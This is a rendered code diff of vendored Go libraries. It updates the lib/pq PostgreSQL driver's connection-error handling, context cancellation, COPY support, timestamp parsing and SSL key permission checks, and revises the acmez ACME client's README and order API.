     1354 + if err := st.cn.err.get(); err != nil {
     1355 + return err
    1329 1356   }
    1330 1357   defer st.cn.errRecover(&err)
    1331 1358   
    skipped 6 lines
    1338 1365   
    1339 1366   t, _ := st.cn.recv1()
    1340 1367   if t != '3' {
    1341  - st.cn.setBad()
     1368 + st.cn.err.set(driver.ErrBadConn)
    1342 1369   errorf("unexpected close response: %q", t)
    1343 1370   }
    1344 1371   st.closed = true
    1345 1372   
    1346 1373   t, r := st.cn.recv1()
    1347 1374   if t != 'Z' {
    1348  - st.cn.setBad()
     1375 + st.cn.err.set(driver.ErrBadConn)
    1349 1376   errorf("expected ready for query, but got: %q", t)
    1350 1377   }
    1351 1378   st.cn.processReadyForQuery(r)
    skipped 2 lines
    1354 1381  }
    1355 1382   
    1356 1383  func (st *stmt) Query(v []driver.Value) (r driver.Rows, err error) {
    1357  - if st.cn.getBad() {
    1358  - return nil, driver.ErrBadConn
     1384 + return st.query(v)
     1385 +}
     1386 + 
     1387 +func (st *stmt) query(v []driver.Value) (r *rows, err error) {
     1388 + if err := st.cn.err.get(); err != nil {
     1389 + return nil, err
    1359 1390   }
    1360 1391   defer st.cn.errRecover(&err)
    1361 1392   
    skipped 5 lines
    1367 1398  }
    1368 1399   
    1369 1400  func (st *stmt) Exec(v []driver.Value) (res driver.Result, err error) {
    1370  - if st.cn.getBad() {
    1371  - return nil, driver.ErrBadConn
     1401 + if err := st.cn.err.get(); err != nil {
     1402 + return nil, err
    1372 1403   }
    1373 1404   defer st.cn.errRecover(&err)
    1374 1405   
    skipped 79 lines
    1454 1485   if affectedRows == nil && strings.HasPrefix(commandTag, "INSERT ") {
    1455 1486   parts := strings.Split(commandTag, " ")
    1456 1487   if len(parts) != 3 {
    1457  - cn.setBad()
     1488 + cn.err.set(driver.ErrBadConn)
    1458 1489   errorf("unexpected INSERT command tag %s", commandTag)
    1459 1490   }
    1460 1491   affectedRows = &parts[len(parts)-1]
    skipped 5 lines
    1466 1497   }
    1467 1498   n, err := strconv.ParseInt(*affectedRows, 10, 64)
    1468 1499   if err != nil {
    1469  - cn.setBad()
     1500 + cn.err.set(driver.ErrBadConn)
    1470 1501   errorf("could not parse commandTag: %s", err)
    1471 1502   }
    1472 1503   return driver.RowsAffected(n), commandTag
    skipped 60 lines
    1533 1564   }
    1534 1565   
    1535 1566   conn := rs.cn
    1536  - if conn.getBad() {
    1537  - return driver.ErrBadConn
     1567 + if err := conn.err.getForNext(); err != nil {
     1568 + return err
    1538 1569   }
    1539 1570   defer conn.errRecover(&err)
    1540 1571   
    skipped 17 lines
    1558 1589   case 'D':
    1559 1590   n := rs.rb.int16()
    1560 1591   if err != nil {
    1561  - conn.setBad()
     1592 + conn.err.set(driver.ErrBadConn)
    1562 1593   errorf("unexpected DataRow after error %s", err)
    1563 1594   }
    1564 1595   if n < len(dest) {
    skipped 160 lines
    1725 1756   case "server_version":
    1726 1757   var major1 int
    1727 1758   var major2 int
    1728  - var minor int
    1729  - _, err = fmt.Sscanf(r.string(), "%d.%d.%d", &major1, &major2, &minor)
     1759 + _, err = fmt.Sscanf(r.string(), "%d.%d", &major1, &major2)
    1730 1760   if err == nil {
    1731  - cn.parameterStatus.serverVersion = major1*10000 + major2*100 + minor
     1761 + cn.parameterStatus.serverVersion = major1*10000 + major2*100
    1732 1762   }
    1733 1763   
    1734 1764   case "TimeZone":
    skipped 18 lines
    1753 1783   cn.processReadyForQuery(r)
    1754 1784   return
    1755 1785   default:
    1756  - cn.setBad()
     1786 + cn.err.set(driver.ErrBadConn)
    1757 1787   errorf("unexpected message %q; expected ReadyForQuery", t)
    1758 1788   }
    1759 1789  }
    skipped 13 lines
    1773 1803   cn.readReadyForQuery()
    1774 1804   panic(err)
    1775 1805   default:
    1776  - cn.setBad()
     1806 + cn.err.set(driver.ErrBadConn)
    1777 1807   errorf("unexpected Parse response %q", t)
    1778 1808   }
    1779 1809  }
    skipped 18 lines
    1798 1828   cn.readReadyForQuery()
    1799 1829   panic(err)
    1800 1830   default:
    1801  - cn.setBad()
     1831 + cn.err.set(driver.ErrBadConn)
    1802 1832   errorf("unexpected Describe statement response %q", t)
    1803 1833   }
    1804 1834   }
    skipped 11 lines
    1816 1846   cn.readReadyForQuery()
    1817 1847   panic(err)
    1818 1848   default:
    1819  - cn.setBad()
     1849 + cn.err.set(driver.ErrBadConn)
    1820 1850   errorf("unexpected Describe response %q", t)
    1821 1851   }
    1822 1852   panic("not reached")
    skipped 9 lines
    1832 1862   cn.readReadyForQuery()
    1833 1863   panic(err)
    1834 1864   default:
    1835  - cn.setBad()
     1865 + cn.err.set(driver.ErrBadConn)
    1836 1866   errorf("unexpected Bind response %q", t)
    1837 1867   }
    1838 1868  }
    skipped 20 lines
    1859 1889   cn.saveMessage(t, r)
    1860 1890   return
    1861 1891   default:
    1862  - cn.setBad()
     1892 + cn.err.set(driver.ErrBadConn)
    1863 1893   errorf("unexpected message during extended query execution: %q", t)
    1864 1894   }
    1865 1895   }
    skipped 6 lines
    1872 1902   switch t {
    1873 1903   case 'C':
    1874 1904   if err != nil {
    1875  - cn.setBad()
     1905 + cn.err.set(driver.ErrBadConn)
    1876 1906   errorf("unexpected CommandComplete after error %s", err)
    1877 1907   }
    1878 1908   res, commandTag = cn.parseComplete(r.string())
    skipped 7 lines
    1886 1916   err = parseError(r)
    1887 1917   case 'T', 'D', 'I':
    1888 1918   if err != nil {
    1889  - cn.setBad()
     1919 + cn.err.set(driver.ErrBadConn)
    1890 1920   errorf("unexpected %q after error %s", t, err)
    1891 1921   }
    1892 1922   if t == 'I' {
    skipped 1 lines
    1894 1924   }
    1895 1925   // ignore any results
    1896 1926   default:
    1897  - cn.setBad()
     1927 + cn.err.set(driver.ErrBadConn)
    1898 1928   errorf("unknown %s response: %q", protocolState, t)
    1899 1929   }
    1900 1930   }
    skipped 133 lines
  • ■ ■ ■ ■ ■
    vendor/github.com/lib/pq/conn_go18.go
    skipped 6 lines
    7 7   "fmt"
    8 8   "io"
    9 9   "io/ioutil"
    10  - "sync/atomic"
    11 10   "time"
     11 +)
     12 + 
     13 +const (
     14 + watchCancelDialContextTimeout = time.Second * 10
    12 15  )
    13 16   
    14 17  // Implement the "QueryerContext" interface
    skipped 26 lines
    41 44   }
    42 45   
    43 46   return cn.Exec(query, list)
     47 +}
     48 + 
     49 +// Implement the "ConnPrepareContext" interface
     50 +func (cn *conn) PrepareContext(ctx context.Context, query string) (driver.Stmt, error) {
     51 + if finish := cn.watchCancel(ctx); finish != nil {
     52 + defer finish()
     53 + }
     54 + return cn.Prepare(query)
    44 55  }
    45 56   
    46 57  // Implement the "ConnBeginTx" interface
    skipped 56 lines
    103 114   }
    104 115   
    105 116   // Set the connection state to bad so it does not get reused.
    106  - cn.setBad()
     117 + cn.err.set(ctx.Err())
    107 118   
    108 119   // At this point the function level context is canceled,
    109 120   // so it must not be used for the additional network
    110 121   // request to cancel the query.
    111 122   // Create a new context to pass into the dial.
    112  - ctxCancel, cancel := context.WithTimeout(context.Background(), time.Second*10)
     123 + ctxCancel, cancel := context.WithTimeout(context.Background(), watchCancelDialContextTimeout)
    113 124   defer cancel()
    114 125   
    115 126   _ = cn.cancel(ctxCancel)
    skipped 3 lines
    119 130   return func() {
    120 131   select {
    121 132   case <-finished:
    122  - cn.setBad()
     133 + cn.err.set(ctx.Err())
    123 134   cn.Close()
    124 135   case finished <- struct{}{}:
    125 136   }
    skipped 3 lines
    129 140  }
    130 141   
    131 142  func (cn *conn) cancel(ctx context.Context) error {
    132  - c, err := dial(ctx, cn.dialer, cn.opts)
     143 + // Create a new values map (copy). This makes sure the connection created
     144 + // in this method cannot write to the same underlying data, which could
     145 + // cause a concurrent map write panic. This is necessary because cancel
     146 + // is called from a goroutine in watchCancel.
     147 + o := make(values)
     148 + for k, v := range cn.opts {
     149 + o[k] = v
     150 + }
     151 + 
     152 + c, err := dial(ctx, cn.dialer, o)
    133 153   if err != nil {
    134 154   return err
    135 155   }
    136 156   defer c.Close()
    137 157   
    138 158   {
    139  - bad := &atomic.Value{}
    140  - bad.Store(false)
    141 159   can := conn{
    142  - c: c,
    143  - bad: bad,
     160 + c: c,
    144 161   }
    145  - err = can.ssl(cn.opts)
     162 + err = can.ssl(o)
    146 163   if err != nil {
    147 164   return err
    148 165   }
    skipped 15 lines
    164 181   }
    165 182  }
    166 183   
     184 +// Implement the "StmtQueryContext" interface
     185 +func (st *stmt) QueryContext(ctx context.Context, args []driver.NamedValue) (driver.Rows, error) {
     186 + list := make([]driver.Value, len(args))
     187 + for i, nv := range args {
     188 + list[i] = nv.Value
     189 + }
     190 + finish := st.watchCancel(ctx)
     191 + r, err := st.query(list)
     192 + if err != nil {
     193 + if finish != nil {
     194 + finish()
     195 + }
     196 + return nil, err
     197 + }
     198 + r.finish = finish
     199 + return r, nil
     200 +}
     201 + 
     202 +// Implement the "StmtExecContext" interface
     203 +func (st *stmt) ExecContext(ctx context.Context, args []driver.NamedValue) (driver.Result, error) {
     204 + list := make([]driver.Value, len(args))
     205 + for i, nv := range args {
     206 + list[i] = nv.Value
     207 + }
     208 + 
     209 + if finish := st.watchCancel(ctx); finish != nil {
     210 + defer finish()
     211 + }
     212 + 
     213 + return st.Exec(list)
     214 +}
     215 + 
     216 +// watchCancel is implemented on stmt in order to not mark the parent conn as bad
     217 +func (st *stmt) watchCancel(ctx context.Context) func() {
     218 + if done := ctx.Done(); done != nil {
     219 + finished := make(chan struct{})
     220 + go func() {
     221 + select {
     222 + case <-done:
     223 + // At this point the function level context is canceled,
     224 + // so it must not be used for the additional network
     225 + // request to cancel the query.
     226 + // Create a new context to pass into the dial.
     227 + ctxCancel, cancel := context.WithTimeout(context.Background(), watchCancelDialContextTimeout)
     228 + defer cancel()
     229 + 
     230 + _ = st.cancel(ctxCancel)
     231 + finished <- struct{}{}
     232 + case <-finished:
     233 + }
     234 + }()
     235 + return func() {
     236 + select {
     237 + case <-finished:
     238 + case finished <- struct{}{}:
     239 + }
     240 + }
     241 + }
     242 + return nil
     243 +}
     244 + 
     245 +func (st *stmt) cancel(ctx context.Context) error {
     246 + return st.cn.cancel(ctx)
     247 +}
     248 + 
  • ■ ■ ■ ■ ■
    vendor/github.com/lib/pq/connector.go
    skipped 26 lines
    27 27   return c.open(ctx)
    28 28  }
    29 29   
     30 +// Dialer allows change the dialer used to open connections.
     31 +func (c *Connector) Dialer(dialer Dialer) {
     32 + c.dialer = dialer
     33 +}
     34 + 
    30 35  // Driver returns the underlying driver of this Connector.
    31 36  func (c *Connector) Driver() driver.Driver {
    32 37   return &Driver{}
    skipped 84 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/lib/pq/copy.go
    1 1  package pq
    2 2   
    3 3  import (
     4 + "context"
    4 5   "database/sql/driver"
    5 6   "encoding/binary"
    6 7   "errors"
    skipped 42 lines
    49 50   buffer []byte
    50 51   rowData chan []byte
    51 52   done chan bool
    52  - driver.Result
    53 53   
    54 54   closed bool
    55 55   
    56  - sync.Mutex // guards err
    57  - err error
     56 + mu struct {
     57 + sync.Mutex
     58 + err error
     59 + driver.Result
     60 + }
    58 61  }
    59 62   
    60 63  const ciBufferSize = 64 * 1024
    skipped 37 lines
    98 101   err = parseError(r)
    99 102   case 'Z':
    100 103   if err == nil {
    101  - ci.setBad()
     104 + ci.setBad(driver.ErrBadConn)
    102 105   errorf("unexpected ReadyForQuery in response to COPY")
    103 106   }
    104 107   cn.processReadyForQuery(r)
    105 108   return nil, err
    106 109   default:
    107  - ci.setBad()
     110 + ci.setBad(driver.ErrBadConn)
    108 111   errorf("unknown response for copy query: %q", t)
    109 112   }
    110 113   }
    skipped 12 lines
    123 126   cn.processReadyForQuery(r)
    124 127   return nil, err
    125 128   default:
    126  - ci.setBad()
     129 + ci.setBad(driver.ErrBadConn)
    127 130   errorf("unknown response for CopyFail: %q", t)
    128 131   }
    129 132   }
    skipped 14 lines
    144 147   var r readBuf
    145 148   t, err := ci.cn.recvMessage(&r)
    146 149   if err != nil {
    147  - ci.setBad()
     150 + ci.setBad(driver.ErrBadConn)
    148 151   ci.setError(err)
    149 152   ci.done <- true
    150 153   return
    skipped 15 lines
    166 169   err := parseError(&r)
    167 170   ci.setError(err)
    168 171   default:
    169  - ci.setBad()
     172 + ci.setBad(driver.ErrBadConn)
    170 173   ci.setError(fmt.Errorf("unknown response during CopyIn: %q", t))
    171 174   ci.done <- true
    172 175   return
    skipped 1 lines
    174 177   }
    175 178  }
    176 179   
    177  -func (ci *copyin) setBad() {
    178  - ci.Lock()
    179  - ci.cn.setBad()
    180  - ci.Unlock()
     180 +func (ci *copyin) setBad(err error) {
     181 + ci.cn.err.set(err)
    181 182  }
    182 183   
    183  -func (ci *copyin) isBad() bool {
    184  - ci.Lock()
    185  - b := ci.cn.getBad()
    186  - ci.Unlock()
    187  - return b
     184 +func (ci *copyin) getBad() error {
     185 + return ci.cn.err.get()
    188 186  }
    189 187   
    190  -func (ci *copyin) isErrorSet() bool {
    191  - ci.Lock()
    192  - isSet := (ci.err != nil)
    193  - ci.Unlock()
    194  - return isSet
     188 +func (ci *copyin) err() error {
     189 + ci.mu.Lock()
     190 + err := ci.mu.err
     191 + ci.mu.Unlock()
     192 + return err
    195 193  }
    196 194   
    197 195  // setError() sets ci.err if one has not been set already. Caller must not be
    198 196  // holding ci.Mutex.
    199 197  func (ci *copyin) setError(err error) {
    200  - ci.Lock()
    201  - if ci.err == nil {
    202  - ci.err = err
     198 + ci.mu.Lock()
     199 + if ci.mu.err == nil {
     200 + ci.mu.err = err
    203 201   }
    204  - ci.Unlock()
     202 + ci.mu.Unlock()
    205 203  }
    206 204   
    207 205  func (ci *copyin) setResult(result driver.Result) {
    208  - ci.Lock()
    209  - ci.Result = result
    210  - ci.Unlock()
     206 + ci.mu.Lock()
     207 + ci.mu.Result = result
     208 + ci.mu.Unlock()
    211 209  }
    212 210   
    213 211  func (ci *copyin) getResult() driver.Result {
    214  - ci.Lock()
    215  - result := ci.Result
    216  - ci.Unlock()
     212 + ci.mu.Lock()
     213 + result := ci.mu.Result
     214 + ci.mu.Unlock()
    217 215   if result == nil {
    218 216   return driver.RowsAffected(0)
    219 217   }
    skipped 20 lines
    240 238   return nil, errCopyInClosed
    241 239   }
    242 240   
    243  - if ci.isBad() {
    244  - return nil, driver.ErrBadConn
     241 + if err := ci.getBad(); err != nil {
     242 + return nil, err
    245 243   }
    246 244   defer ci.cn.errRecover(&err)
    247 245   
    248  - if ci.isErrorSet() {
    249  - return nil, ci.err
     246 + if err := ci.err(); err != nil {
     247 + return nil, err
    250 248   }
    251 249   
    252 250   if len(v) == 0 {
    skipped 23 lines
    276 274   return driver.RowsAffected(0), nil
    277 275  }
    278 276   
     277 +// CopyData inserts a raw string into the COPY stream. The insert is
     278 +// asynchronous and CopyData can return errors from previous CopyData calls to
     279 +// the same COPY stmt.
     280 +//
     281 +// You need to call Exec(nil) to sync the COPY stream and to get any
     282 +// errors from pending data, since Stmt.Close() doesn't return errors
     283 +// to the user.
     284 +func (ci *copyin) CopyData(ctx context.Context, line string) (r driver.Result, err error) {
     285 + if ci.closed {
     286 + return nil, errCopyInClosed
     287 + }
     288 + 
     289 + if finish := ci.cn.watchCancel(ctx); finish != nil {
     290 + defer finish()
     291 + }
     292 + 
     293 + if err := ci.getBad(); err != nil {
     294 + return nil, err
     295 + }
     296 + defer ci.cn.errRecover(&err)
     297 + 
     298 + if err := ci.err(); err != nil {
     299 + return nil, err
     300 + }
     301 + 
     302 + ci.buffer = append(ci.buffer, []byte(line)...)
     303 + ci.buffer = append(ci.buffer, '\n')
     304 + 
     305 + if len(ci.buffer) > ciBufferFlushSize {
     306 + ci.flush(ci.buffer)
     307 + // reset buffer, keep bytes for message identifier and length
     308 + ci.buffer = ci.buffer[:5]
     309 + }
     310 + 
     311 + return driver.RowsAffected(0), nil
     312 +}
     313 + 
    279 314  func (ci *copyin) Close() (err error) {
    280 315   if ci.closed { // Don't do anything, we're already closed
    281 316   return nil
    282 317   }
    283 318   ci.closed = true
    284 319   
    285  - if ci.isBad() {
    286  - return driver.ErrBadConn
     320 + if err := ci.getBad(); err != nil {
     321 + return err
    287 322   }
    288 323   defer ci.cn.errRecover(&err)
    289 324   
    skipped 9 lines
    299 334   <-ci.done
    300 335   ci.cn.inCopy = false
    301 336   
    302  - if ci.isErrorSet() {
    303  - err = ci.err
     337 + if err := ci.err(); err != nil {
    304 338   return err
    305 339   }
    306 340   return nil
    skipped 2 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/lib/pq/encode.go
    skipped 199 lines
    200 200  func mustParse(f string, typ oid.Oid, s []byte) time.Time {
    201 201   str := string(s)
    202 202   
    203  - // check for a 30-minute-offset timezone
    204  - if (typ == oid.T_timestamptz || typ == oid.T_timetz) &&
    205  - str[len(str)-3] == ':' {
    206  - f += ":00"
     203 + // Check for a minute and second offset in the timezone.
     204 + if typ == oid.T_timestamptz || typ == oid.T_timetz {
     205 + for i := 3; i <= 6; i += 3 {
     206 + if str[len(str)-i] == ':' {
     207 + f += ":00"
     208 + continue
     209 + }
     210 + break
     211 + }
    207 212   }
     213 + 
    208 214   // Special case for 24:00 time.
    209 215   // Unfortunately, golang does not parse 24:00 as a proper time.
    210 216   // In this case, we want to try "round to the next day", to differentiate.
    skipped 205 lines
    416 422   
    417 423   if remainderIdx < len(str) && str[remainderIdx] == '.' {
    418 424   fracStart := remainderIdx + 1
    419  - fracOff := strings.IndexAny(str[fracStart:], "-+ ")
     425 + fracOff := strings.IndexAny(str[fracStart:], "-+Z ")
    420 426   if fracOff < 0 {
    421 427   fracOff = len(str) - fracStart
    422 428   }
    skipped 3 lines
    426 432   remainderIdx += fracOff + 1
    427 433   }
    428 434   if tzStart := remainderIdx; tzStart < len(str) && (str[tzStart] == '-' || str[tzStart] == '+') {
    429  - // time zone separator is always '-' or '+' (UTC is +00)
     435 + // time zone separator is always '-' or '+' or 'Z' (UTC is +00)
    430 436   var tzSign int
    431 437   switch c := str[tzStart]; c {
    432 438   case '-':
    skipped 15 lines
    448 454   remainderIdx += 3
    449 455   }
    450 456   tzOff = tzSign * ((tzHours * 60 * 60) + (tzMin * 60) + tzSec)
     457 + } else if tzStart < len(str) && str[tzStart] == 'Z' {
     458 + // time zone Z separator indicates UTC is +00
     459 + remainderIdx += 1
    451 460   }
     461 + 
    452 462   var isoYear int
    453 463   
    454 464   if isBC {
    skipped 98 lines
    553 563   if len(s) < 4 {
    554 564   return nil, fmt.Errorf("invalid bytea sequence %v", s)
    555 565   }
    556  - r, err := strconv.ParseInt(string(s[1:4]), 8, 9)
     566 + r, err := strconv.ParseUint(string(s[1:4]), 8, 8)
    557 567   if err != nil {
    558 568   return nil, fmt.Errorf("could not parse bytea value: %s", err.Error())
    559 569   }
    skipped 64 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/lib/pq/error.go
    skipped 401 lines
    402 402   return err.Severity == Efatal
    403 403  }
    404 404   
     405 +// SQLState returns the SQLState of the error.
     406 +func (err *Error) SQLState() string {
     407 + return string(err.Code)
     408 +}
     409 + 
    405 410  // Get implements the legacy PGError interface. New code should use the fields
    406 411  // of the Error struct directly.
    407 412  func (err *Error) Get(k byte) (v string) {
    skipped 76 lines
    484 489   case nil:
    485 490   // Do nothing
    486 491   case runtime.Error:
    487  - cn.setBad()
     492 + cn.err.set(driver.ErrBadConn)
    488 493   panic(v)
    489 494   case *Error:
    490 495   if v.Fatal() {
    skipped 2 lines
    493 498   *err = v
    494 499   }
    495 500   case *net.OpError:
    496  - cn.setBad()
     501 + cn.err.set(driver.ErrBadConn)
    497 502   *err = v
    498 503   case *safeRetryError:
    499  - cn.setBad()
     504 + cn.err.set(driver.ErrBadConn)
    500 505   *err = driver.ErrBadConn
    501 506   case error:
    502  - if v == io.EOF || v.(error).Error() == "remote error: handshake failure" {
     507 + if v == io.EOF || v.Error() == "remote error: handshake failure" {
    503 508   *err = driver.ErrBadConn
    504 509   } else {
    505 510   *err = v
    506 511   }
    507 512   
    508 513   default:
    509  - cn.setBad()
     514 + cn.err.set(driver.ErrBadConn)
    510 515   panic(fmt.Sprintf("unknown error: %#v", e))
    511 516   }
    512 517   
    513 518   // Any time we return ErrBadConn, we need to remember it since *Tx doesn't
    514 519   // mark the connection bad in database/sql.
    515 520   if *err == driver.ErrBadConn {
    516  - cn.setBad()
     521 + cn.err.set(driver.ErrBadConn)
    517 522   }
    518 523  }
    519 524   
  • ■ ■ ■ ■ ■
    vendor/github.com/lib/pq/notice.go
     1 +//go:build go1.10
    1 2  // +build go1.10
    2 3   
    3 4  package pq
    skipped 69 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/lib/pq/ssl.go
    skipped 58 lines
    59 59   return nil, err
    60 60   }
    61 61   
    62  - // This pseudo-parameter is not recognized by the PostgreSQL server, so let's delete it after use.
    63  - delete(o, "sslinline")
    64  - 
    65 62   // Accept renegotiation requests initiated by the backend.
    66 63   //
    67 64   // Renegotiation was deprecated then removed from PostgreSQL 9.5, but
    skipped 21 lines
    89 86   sslinline := o["sslinline"]
    90 87   if sslinline == "true" {
    91 88   cert, err := tls.X509KeyPair([]byte(o["sslcert"]), []byte(o["sslkey"]))
    92  - // Clear out these params, in case they were to be sent to the PostgreSQL server by mistake
    93  - o["sslcert"] = ""
    94  - o["sslkey"] = ""
    95 89   if err != nil {
    96 90   return err
    97 91   }
    skipped 59 lines
    157 151   
    158 152   var cert []byte
    159 153   if sslinline == "true" {
    160  - // // Clear out this param, in case it were to be sent to the PostgreSQL server by mistake
    161  - o["sslrootcert"] = ""
    162 154   cert = []byte(sslrootcert)
    163 155   } else {
    164 156   var err error
    skipped 38 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/lib/pq/ssl_permissions.go
     1 +//go:build !windows
    1 2  // +build !windows
    2 3   
    3 4  package pq
    4 5   
    5  -import "os"
     6 +import (
     7 + "errors"
     8 + "os"
     9 + "syscall"
     10 +)
     11 + 
     12 +const (
     13 + rootUserID = uint32(0)
     14 + 
     15 + // The maximum permissions that a private key file owned by a regular user
     16 + // is allowed to have. This translates to u=rw.
     17 + maxUserOwnedKeyPermissions os.FileMode = 0600
     18 + 
     19 + // The maximum permissions that a private key file owned by root is allowed
     20 + // to have. This translates to u=rw,g=r.
     21 + maxRootOwnedKeyPermissions os.FileMode = 0640
     22 +)
     23 + 
     24 +var (
     25 + errSSLKeyHasUnacceptableUserPermissions = errors.New("permissions for files not owned by root should be u=rw (0600) or less")
     26 + errSSLKeyHasUnacceptableRootPermissions = errors.New("permissions for root owned files should be u=rw,g=r (0640) or less")
     27 +)
    6 28   
    7 29  // sslKeyPermissions checks the permissions on user-supplied ssl key files.
    8 30  // The key file should have very little access.
    skipped 4 lines
    13 35   if err != nil {
    14 36   return err
    15 37   }
    16  - if info.Mode().Perm()&0077 != 0 {
    17  - return ErrSSLKeyHasWorldPermissions
     38 + 
     39 + err = hasCorrectPermissions(info)
     40 + 
     41 + // return ErrSSLKeyHasWorldPermissions for backwards compatability with
     42 + // existing code.
     43 + if err == errSSLKeyHasUnacceptableUserPermissions || err == errSSLKeyHasUnacceptableRootPermissions {
     44 + err = ErrSSLKeyHasWorldPermissions
     45 + }
     46 + return err
     47 +}
     48 + 
     49 +// hasCorrectPermissions checks the file info (and the unix-specific stat_t
     50 +// output) to verify that the permissions on the file are correct.
     51 +//
     52 +// If the file is owned by the same user the process is running as,
     53 +// the file should only have 0600 (u=rw). If the file is owned by root,
     54 +// and the group matches the group that the process is running in, the
     55 +// permissions cannot be more than 0640 (u=rw,g=r). The file should
     56 +// never have world permissions.
     57 +//
     58 +// Returns an error when the permission check fails.
     59 +func hasCorrectPermissions(info os.FileInfo) error {
     60 + // if file's permission matches 0600, allow access.
     61 + userPermissionMask := (os.FileMode(0777) ^ maxUserOwnedKeyPermissions)
     62 + 
     63 + // regardless of if we're running as root or not, 0600 is acceptable,
     64 + // so we return if we match the regular user permission mask.
     65 + if info.Mode().Perm()&userPermissionMask == 0 {
     66 + return nil
    18 67   }
    19  - return nil
     68 + 
     69 + // We need to pull the Unix file information to get the file's owner.
     70 + // If we can't access it, there's some sort of operating system level error
     71 + // and we should fail rather than attempting to use faulty information.
     72 + sysInfo := info.Sys()
     73 + if sysInfo == nil {
     74 + return ErrSSLKeyUnknownOwnership
     75 + }
     76 + 
     77 + unixStat, ok := sysInfo.(*syscall.Stat_t)
     78 + if !ok {
     79 + return ErrSSLKeyUnknownOwnership
     80 + }
     81 + 
     82 + // if the file is owned by root, we allow 0640 (u=rw,g=r) to match what
     83 + // Postgres does.
     84 + if unixStat.Uid == rootUserID {
     85 + rootPermissionMask := (os.FileMode(0777) ^ maxRootOwnedKeyPermissions)
     86 + if info.Mode().Perm()&rootPermissionMask != 0 {
     87 + return errSSLKeyHasUnacceptableRootPermissions
     88 + }
     89 + return nil
     90 + }
     91 + 
     92 + return errSSLKeyHasUnacceptableUserPermissions
    20 93  }
    21 94   
  • ■ ■ ■ ■ ■
    vendor/github.com/lib/pq/ssl_windows.go
     1 +//go:build windows
    1 2  // +build windows
    2 3   
    3 4  package pq
    skipped 7 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/lib/pq/user_other.go
     1 +// Package pq is a pure Go Postgres driver for the database/sql package.
     2 + 
     3 +//go:build js || android || hurd || zos
     4 +// +build js android hurd zos
     5 + 
     6 +package pq
     7 + 
     8 +func userCurrent() (string, error) {
     9 + return "", ErrCouldNotDetectUsername
     10 +}
     11 + 
  • ■ ■ ■ ■ ■
    vendor/github.com/lib/pq/user_posix.go
    1 1  // Package pq is a pure Go Postgres driver for the database/sql package.
    2 2   
    3  -// +build aix darwin dragonfly freebsd linux nacl netbsd openbsd plan9 solaris rumprun
     3 +//go:build aix || darwin || dragonfly || freebsd || (linux && !android) || nacl || netbsd || openbsd || plan9 || solaris || rumprun || illumos
     4 +// +build aix darwin dragonfly freebsd linux,!android nacl netbsd openbsd plan9 solaris rumprun illumos
    4 5   
    5 6  package pq
    6 7   
    skipped 19 lines
  • ■ ■ ■ ■ ■
    vendor/github.com/mholt/acmez/README.md
    skipped 31 lines
    32 32  - Utility functions for solving challenges
    33 33  - Helpers for RFC 8737 (tls-alpn-01 challenge)
    34 34   
    35  -The `acmez` package is "bring-your-own-solver." It provides helper utilities for http-01, dns-01, and tls-alpn-01 challenges, but does not actually solve them for you. You must write an implementation of `acmez.Solver` in order to get certificates. How this is done depends on the environment in which you're using this code.
     35 + 
     36 +## Examples
     37 + 
     38 +See the [`examples` folder](https://github.com/mholt/acmez/tree/master/examples) for tutorials on how to use either package. **Most users should follow the [porcelain guide](https://github.com/mholt/acmez/blob/master/examples/porcelain/main.go).**
    36 39   
    37  -This is not a command line utility either. The goal is to not add more external tooling to already-complex infrastructure: ACME and TLS should be built-in to servers rather than tacked on as an afterthought.
    38 40   
     41 +## Challenge solvers
    39 42   
    40  -## Examples
     43 +The `acmez` package is "bring-your-own-solver." It provides helper utilities for http-01, dns-01, and tls-alpn-01 challenges, but does not actually solve them for you. You must write or use an implementation of [`acmez.Solver`](https://pkg.go.dev/github.com/mholt/acmez#Solver) in order to get certificates. How this is done depends on your environment/situation.
     44 + 
     45 +However, you can find [a general-purpose dns-01 solver in CertMagic](https://pkg.go.dev/github.com/caddyserver/certmagic#DNS01Solver), which uses [libdns](https://github.com/libdns) packages to integrate with numerous DNS providers. You can use it like this:
     46 + 
     47 +```go
     48 +// minimal example using Cloudflare
     49 +solver := &certmagic.DNS01Solver{
     50 + DNSProvider: &cloudflare.Provider{APIToken: "topsecret"},
     51 +}
     52 +client := acmez.Client{
     53 + ChallengeSolvers: map[string]acmez.Solver{
     54 + acme.ChallengeTypeDNS01: solver,
     55 + },
     56 + // ...
     57 +}
     58 +```
    41 59   
    42  -See the `examples` folder for tutorials on how to use either package.
     60 +If you're implementing a tls-alpn-01 solver, the `acmez` package can help. It has the constant [`ACMETLS1Protocol`](https://pkg.go.dev/github.com/mholt/acmez#pkg-constants) which you can use to identify challenge handshakes by inspecting the ClientHello's ALPN extension. Simply complete the handshake using a certificate from the [`acmez.TLSALPN01ChallengeCert()`](https://pkg.go.dev/github.com/mholt/acmez#TLSALPN01ChallengeCert) function to solve the challenge.
     61 + 
    43 62   
    44 63   
    45 64  ## History
    skipped 15 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/mholt/acmez/acme/order.go
    skipped 113 lines
    114 114   return order, nil
    115 115  }
    116 116   
     117 +// GetOrder retrieves an order from the server. The Order's Location field must be populated.
     118 +func (c *Client) GetOrder(ctx context.Context, account Account, order Order) (Order, error) {
     119 + if err := c.provision(ctx); err != nil {
     120 + return order, err
     121 + }
     122 + _, err := c.httpPostJWS(ctx, account.PrivateKey, account.Location, order.Location, nil, &order)
     123 + return order, err
     124 +}
     125 + 
    117 126  // FinalizeOrder finalizes the order with the server and polls under the server has
    118 127  // updated the order status. The CSR must be in ASN.1 DER-encoded format. If this
    119 128  // succeeds, the certificate is ready to download once this returns.
    skipped 129 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/mholt/acmez/client.go
    skipped 20 lines
    21 21  // implementing solvers and using the certificates. It DOES NOT manage
    22 22  // certificates, it only gets them from the ACME server.
    23 23  //
    24  -// NOTE: This package's main function is to get a certificate, not manage it.
    25  -// Most users will want to *manage* certificates over the lifetime of a
    26  -// long-running program such as a HTTPS or TLS server, and should use CertMagic
     24 +// NOTE: This package's primary purpose is to get a certificate, not manage it.
     25 +// Most users actually want to *manage* certificates over the lifetime of
     26 +// long-running programs such as HTTPS or TLS servers, and should use CertMagic
    27 27  // instead: https://github.com/caddyserver/certmagic.
    28 28  package acmez
    29 29   
    skipped 30 lines
    60 60   
